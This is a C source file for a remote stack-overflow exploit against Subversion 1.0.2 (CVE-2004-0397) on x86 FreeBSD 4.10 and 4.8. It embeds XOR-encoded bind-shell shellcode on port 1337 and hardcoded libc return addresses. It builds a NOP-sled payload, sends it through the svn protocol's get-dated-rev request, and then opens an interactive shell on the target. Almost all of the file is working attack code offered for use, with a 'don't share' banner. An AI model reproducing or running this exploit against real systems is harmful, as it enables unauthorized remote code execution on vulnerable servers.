/*
 * Private Exploit !!! 
 * CVE-2004-0397 - Subversion 1.0.2 remote stack overflow exploit 
 * for x86 freebsd 4.10 & 4.8
 *
 * The original private exploit code was written in 2004 and was patched in 2026.
 * Original code by : Antonius (w1sdom) - bluedragonsec.com - github.com/bluedragonsecurity
 * compile : gcc -o exploit exploit.c 
 * run : ./exploit <ip address> <port> <repo name> <target>
 * e.g : 
 * ./exploit 192.168.0.1 3690 hackme 1
 * ./exploit 127.0.0.1 3690 repo123 2
 *
 * supported target(s) :
 * - 1 = freebsd 4.10
 * - 2 = freebsd 4.8
 * (c) solhack 2002-now - all rights reserved
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>

/*
107 bytes private xor bind shell 1337 shellcode for x86 freebsd
this shellcode is used in many of our private exploits
(c) solhack - sons of liberty
*/
unsigned char code_freebsd[] = 
"\xeb\x11\x5e\x31\xc9\xb1\x53\x80\x36\x03\x46\xe2\xfa\x83\xee"
"\x53\xff\xe6\x90\xe8\xea\xff\xff\xff\x32\xc3\x9a\x53\x43\x53"
"\x43\x53\x53\xb3\x62\xce\x83\x8a\xc5\x51\x6b\x02\x01\x06\x3a"
"\x8a\xe2\x69\x13\x52\x55\x51\xb3\x6b\xce\x83\x51\x55\x51\xb3"
"\x69\xce\x83\x51\x51\x55\x51\xb3\x1d\xce\x83\x8a\xc4\x69\x01"
"\x5a\x52\x54\x51\xb3\x59\xce\x83\x4a\x7a\xf5\x51\x6b\x2c\x2c"
"\x70\x6b\x6b\x2c\x61\x6a\x6d\x8a\xe0\x51\x51\x50\x51\xb3\x38"
"\xce\x83";

void banner() {
   printf(
    "\n=====================================================\n"
    "    CVE-2004-0397 - private rce exploit for x86 freebsd\n"
    "    Subversion 1.0.2 remote stack overflow exploit     \n"
    "    for x86 freebsd 4.10 & 4.8.                         \n"
    "    private exploit ! don't share !!!                  \n"
    "    The original private exploit code was written in   \n"
    "    2004 and was patched in 2026.                      \n"      
    "    code by : Antonius (w1sdom) - bluedragonsec.com    \n"
    "    https://github.com/bluedragonsecurity              \n"
    "    (c) solhack (solhack.ath.cx)- 2002-forever         \n"
    "  =====================================================\n\n");
}

void usage() {
printf(
    "\n\trun : ./exploit <ip address> <port> <repo name> <target> \n"
    "\te.g :                                                      \n"
    "\t./exploit 192.168.0.1 3690 hackme 1                        \n"
    "\t./exploit 127.0.0.1 3690 repo123 2                         \n"
    "\t                                                           \n"
    "\ttarget(s) :                                                \n"
    "\t- 1 : freebsd 4.10                                         \n"
    "\t- 2 : freebsd 4.8                                          \n\n"); 
}

void shell(char *ip, int port) {
    int n, s;
    struct sockaddr_in sa;
    char buf[4096];
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    inet_aton(ip, &sa.sin_addr);
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] exploit failed !");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    write(1, "# ", 2);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(0, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(s, &fds)) {
            n = read(s, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(1, buf, n);
            write(1, "# ", 2);
        }
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(s, buf, n);
        }
    }
    close(s);
}

int main(int argc, char **argv) {
    char date[314], url[256], req[2048], tmp[512];
    int s, n, target;
    struct sockaddr_in sa;
    struct hostent *h;
    unsigned int eip = 0x1337;
    
    banner();
    if (argc < 5) {
        usage();
        return 1;
    }
    target = atoi(argv[4]);
    if (target == 1) {
        /* libc.so.4 (freebsd 4.10) call esp */
        eip = 0x28244b91;
    }
    else {
        /* libc.so.4 (freebsd 4.8) jmp edi 
        ->  0x281E86B3
        */
        eip = 0x281e86b3;
    }
    memset(date, '\x90', 60);
    memcpy(date + 60, &eip, 4);   
    //memset(date+60,'A', 4);    
    memset(date+64, '\x90', 250);
    memcpy(date+70, code_freebsd, 107);
    if (target == 2) {
        /* 
        ok, edi starts at offset 220 after eip
        let's do the trick
        */
        memcpy(date+64+228, "\xff\xe4", 2);
    }
    date[314] = '\0';
    h = gethostbyname(argv[1]);
    if (!h) { 
        printf("[-] resolve failed\n"); 
        return 1; 
    }
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(atoi(argv[2]));
    sa.sin_addr = *(struct in_addr *)h->h_addr_list[0];
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0 || connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        printf("[-] connect failed\n"); return 1;
    }
    recv(s, tmp, sizeof(tmp), 0);
    snprintf(url, sizeof(url), "svn://%s/%s", argv[1], argv[3]);
    n = strlen(url);
    snprintf(req, sizeof(req), "( 2 ( edit-pipeline ) %d:%s )\n", n, url);
    send(s, req, strlen(req), 0);
    recv(s, tmp, sizeof(tmp), 0);
    send(s, "( ANONYMOUS ( 0: ) )\n", 21, 0);
    recv(s, tmp, sizeof(tmp), 0);
    snprintf(req, sizeof(req), "( get-dated-rev ( 314:%s ) )\n", date);
    send(s, req, strlen(req), 0);
    close(s);
    printf("[+] sent\n");
    puts("[!] sleeping for 1 seconds ... please wait ...");
    sleep(1);
    shell(argv[1], 1337);

    return 0;
}
